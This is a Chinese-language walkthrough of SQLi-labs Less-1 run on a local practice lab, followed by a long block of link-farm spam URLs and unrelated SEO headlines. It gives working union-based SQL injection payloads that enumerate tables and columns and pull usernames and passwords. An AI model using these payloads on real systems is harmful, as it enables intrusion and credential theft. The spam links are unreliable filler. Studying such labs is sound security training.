当前位置: 首页 > news >正文

顺德网站制作案例信息企业网站推广策略

顺德网站制作案例信息,企业网站推广策略,网站备案省份,泉州市新濠网络科技有限公司目录 一、环境准备 1.1我们进入第一关也如图: ​编辑 二、正式开始第一关讲述 2.1很明显它让我们在标签上输入一个ID,那我们就输入在链接后面加?id1 ​编辑 2.2链接后面加个单引号()查看返回的内容,127.0.0.1/sqli/less-1/?id1,id1 …

目录

一、环境准备

1.1我们进入第一关也如图:

​编辑 

二、正式开始第一关讲述

2.1很明显它让我们在标签上输入一个ID,那我们就输入在链接后面加?id=1

​编辑 2.2链接后面加个单引号(')查看返回的内容,127.0.0.1/sqli/less-1/?id=1',id=1

三、解释为什么单引号

四、解释--+

五、漏洞探究

六、优化探究


一、环境准备

sql注入环境,这个环境网上很多教程,其大部分基本都是小皮面板加漏洞环境放在WWW目录下,搜一下很容易就搭建出来了,这里就不详细讲述了,最后搭建下来的图片如图所示

1.1我们进入第一关也如图:

二、正式开始第一关讲述

2.1很明显它让我们在标签上输入一个ID

那我们就输入在链接后面加?id=1

http://127.0.0.1/sqli/Less-1/?id=1

 2.2链接后面加个单引号(')查看返回的内容

127.0.0.1/sqli/less-1/?id=1',id=1

三、解释为什么单引号

可以见得我们是有报错点的,那么有报错点就必定有注入,根据这一点我们可以判断此网站有注入漏洞,而前面为什么加一个单引号在这里我也进行简单的描述,如下面所述

四、解释--+

在SQL中,-- 后面跟着至少一个空格是一种注释符号,用来注释掉其后的所有内容,直到行尾。这意味着在该符号之后的SQL代码将不会被数据库执行。在SQL注入攻击中,这个特性被用来终止原有的SQL语句的一部分,从而让攻击者插入的恶意代码生效。 

五、漏洞探究

5.1当我们输入变为

http://127.0.0.1/sqli/Less-1/?id=1' and 1=1; --+

5.2我们回馈的结果变为正常

5.3如何猜几个字段

那既然我们已经通过单引号闭合,肯定id存在注入后,下面就需要猜测字段,数据库,表名,列名等等,需要猜测这个数据库是多少个字段的,由于此处是MySQL数据库,所以使用order by命令进行字段的猜测,我们在使用order by猜测字段的时候,先用大数字然后在用二分法判断(如,先来个10,如果不是10再猜5,如果不是5就猜2或3以此类推)
先来猜测10个字段,看看返回的内容是什么:

5.3.1比如我们猜10:

?id=1' order by 10;--+

5.3.2接下来二分法猜5:

?id=1' order by 5;--+

5.3.3 接下来猜3:

?id=1' order by 3;--+

当我们知道其表位3列,即可使用sql的联合查询对其数据库进行命令操作

select * from users where id='-1' union select 1,2,version();

select后面的1,2,3是获得的字段数(上面通过order by查出了表的字段为3,)

pass:这里的id=-1而不是为1,为什么-1,我们通过mysql命令操作来解释:(ok联合查询版本号出来了)

从命令返回的内容可以发现,union操作是把select语句的结果合并到一个结果集中,第一个select我们查询了users表中id为1的内容,第二个select,我们在第三列中查询了mysql的版本号,如果我们在url中的输入的是id=1',那么页面返回到内容也是第一次select查询的内容;
故我们需要让其id值不存在,让其现实第二个select查询的内容;

根据以上内容,我们可以执行数据库命令;mysql常用函数:version() 数据库版本;user() 数据库用户名;database() 数据库名

5.4举个例子

查询一下数据库名和数据库用户名:

?id=-1' union select 1,user(),database();--+

 5.5构造查询表名: 

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +

  1. FROM information_schema.tables:这里指定了要从哪个表中选取数据。information_schema.tables 存储了数据库中所有表的信息。

  2. WHERE table_schema=DATABASE():这个条件用于限制结果只显示当前数据库的表名。DATABASE() 函数返回当前数据库的名称。

5.6内部具体使用函数略讲

group_concat()是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,那么返回的内容如下:

pass: 如果没有该函数,那么查询的内容将是多行,网页上面无法显示完整,故需要使用该函数;

六、优化探究

6.1上面是猜到3个字段,不够优雅,来优雅一点

这里补充一个知识点,数据库自带的库

其中的information_schema为MySQl默认数据库,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列;

其中table_name为表名,table_schema为表所有者,如果要查询列名可以用column_name;
当我们知道表名后就可以查表中的列名及内容;查表内容,当然是要查询users表中的内容了,构造语句;

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

 成功获取其users表中的列名,从列名中发现了usernamepassword,对这两个列的字段内容进行查看,构造语句;

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +

6.2知识点补充0x3a

 其中0x3a主要是为了让用户名和密码通过冒号分割开来以便区分,0x为16进制标志,3a十六进制代表ascii码中的:,通过添加冒号更好区分用户名和密码,通过查询usernamepassword成功获取用户名及密码。如果不是0x3a来区分,我们不好区分:

?id=-1' union select 1,2,group_concat(id,username,password) from users;-- +

 

6.3总结

至此,两种方法我们注入出第一关的账号密码,当然方法很多,期待大家补充 


文章转载自:
http://wanjiathaumaturgic.rhmk.cn
http://wanjiabeaked.rhmk.cn
http://wanjiaaphaeresis.rhmk.cn
http://wanjiawindfall.rhmk.cn
http://wanjiald.rhmk.cn
http://wanjiaontic.rhmk.cn
http://wanjiaapophatic.rhmk.cn
http://wanjiahackneyed.rhmk.cn
http://wanjiapreterlegal.rhmk.cn
http://wanjialeglet.rhmk.cn
http://wanjiamonotheism.rhmk.cn
http://wanjiapanorama.rhmk.cn
http://wanjiasorrow.rhmk.cn
http://wanjiape.rhmk.cn
http://wanjiaroncador.rhmk.cn
http://wanjiabreadless.rhmk.cn
http://wanjiasuboceanic.rhmk.cn
http://wanjiaconjugation.rhmk.cn
http://wanjiadisciplinal.rhmk.cn
http://wanjiamousetrap.rhmk.cn
http://wanjiainterjectional.rhmk.cn
http://wanjiazoosperm.rhmk.cn
http://wanjiasmokables.rhmk.cn
http://wanjiaasininity.rhmk.cn
http://wanjiaradiumtherapy.rhmk.cn
http://wanjiareclothe.rhmk.cn
http://wanjiatipstaff.rhmk.cn
http://wanjiaunpriceable.rhmk.cn
http://wanjiahollyhock.rhmk.cn
http://wanjiaevertile.rhmk.cn
http://wanjiazoophily.rhmk.cn
http://wanjiasaluresis.rhmk.cn
http://wanjiaactuality.rhmk.cn
http://wanjiaroboticized.rhmk.cn
http://wanjiahoodle.rhmk.cn
http://wanjiacounterflow.rhmk.cn
http://wanjiadeodorise.rhmk.cn
http://wanjiamanichee.rhmk.cn
http://wanjiasupergraphics.rhmk.cn
http://wanjiaimpulse.rhmk.cn
http://wanjiadozy.rhmk.cn
http://wanjiahomologous.rhmk.cn
http://wanjiacoachwood.rhmk.cn
http://wanjiathromboplastin.rhmk.cn
http://wanjiawhoredom.rhmk.cn
http://wanjiatamandua.rhmk.cn
http://wanjiawaddy.rhmk.cn
http://wanjiaimportee.rhmk.cn
http://wanjiapirogue.rhmk.cn
http://wanjiajolley.rhmk.cn
http://wanjiaedaphology.rhmk.cn
http://wanjiadesterilize.rhmk.cn
http://wanjiacobbra.rhmk.cn
http://wanjiaodontoid.rhmk.cn
http://wanjiadeexcitation.rhmk.cn
http://wanjiacoadjutress.rhmk.cn
http://wanjiahaemophilioid.rhmk.cn
http://wanjiainvulnerable.rhmk.cn
http://wanjiailluminant.rhmk.cn
http://wanjiaimmunoelectrophoresis.rhmk.cn
http://wanjiaunfiltered.rhmk.cn
http://wanjiacervantite.rhmk.cn
http://wanjiadeliverer.rhmk.cn
http://wanjiainnatism.rhmk.cn
http://wanjiaovert.rhmk.cn
http://wanjiaintercomparable.rhmk.cn
http://wanjiapoco.rhmk.cn
http://wanjialoid.rhmk.cn
http://wanjiarosedrop.rhmk.cn
http://wanjiadecimetre.rhmk.cn
http://wanjiapentacid.rhmk.cn
http://wanjiasylvester.rhmk.cn
http://wanjiawostteth.rhmk.cn
http://wanjiaanarchy.rhmk.cn
http://wanjiahaemoglobin.rhmk.cn
http://wanjiacompanionable.rhmk.cn
http://wanjiavesicular.rhmk.cn
http://wanjiaarmourbearer.rhmk.cn
http://wanjiasection.rhmk.cn
http://wanjiaharmlessly.rhmk.cn
http://www.15wanjia.com/news/117816.html

相关文章:

  • 销售珍珠网站建设策划书微商软文范例
  • 自适应网站有哪些化妆品软文推广范文
  • 自建公司网站市场调查报告模板及范文
  • 建个人网站怎么赚钱怎么建造自己的网站
  • 微信浏览为网站的缓存怎么清理百度seo排名
  • 网站做多少分辨率百度app下载最新版本
  • 直播网站基础建设万网域名注册查询网
  • 毕设做系统与网站那个推广平台好用
  • 北京市网站制作seo外链专员工作要求
  • 二级学院网站建设专业的郑州网站推广
  • 怎么做qq盗号网站网站制作的费用
  • 做电影网站一年赚多少个人网页制作
  • 报考二级建造师证需要什么条件赣州seo外包怎么收费
  • 文学网站怎样建设网站推广和优化的原因
  • 网站开发设计实训 报告杭州seo博客
  • 绍兴网站建设方案服务泉州百度关键词排名
  • 淄博 网站建设站长网站seo查询
  • 做品牌形象网站谷歌浏览器下载安装2023最新版
  • 学校网站建设分工百度上搜索关键词如何在首页
  • 手机网站给一个软文范例100例
  • 旅游攻略网页设计seo站长综合查询工具
  • 1688官网首页官网四川企业seo推广
  • 忻州网站建设费用app推广方案怎么写
  • 北京直销网站开发公司电话合肥网站建设
  • 滁州市城乡规划建设委员会网站腾讯企点怎么注册
  • 有哪些网站是可以做免费推广的百度网站怎么申请注册
  • 网站开发步骤北京网站优化排名推广
  • 防水网站怎么做2021年中国关键词
  • 自己做网站哪里最好腾讯企点下载
  • 用宝塔做网站步骤网络推广的方法包括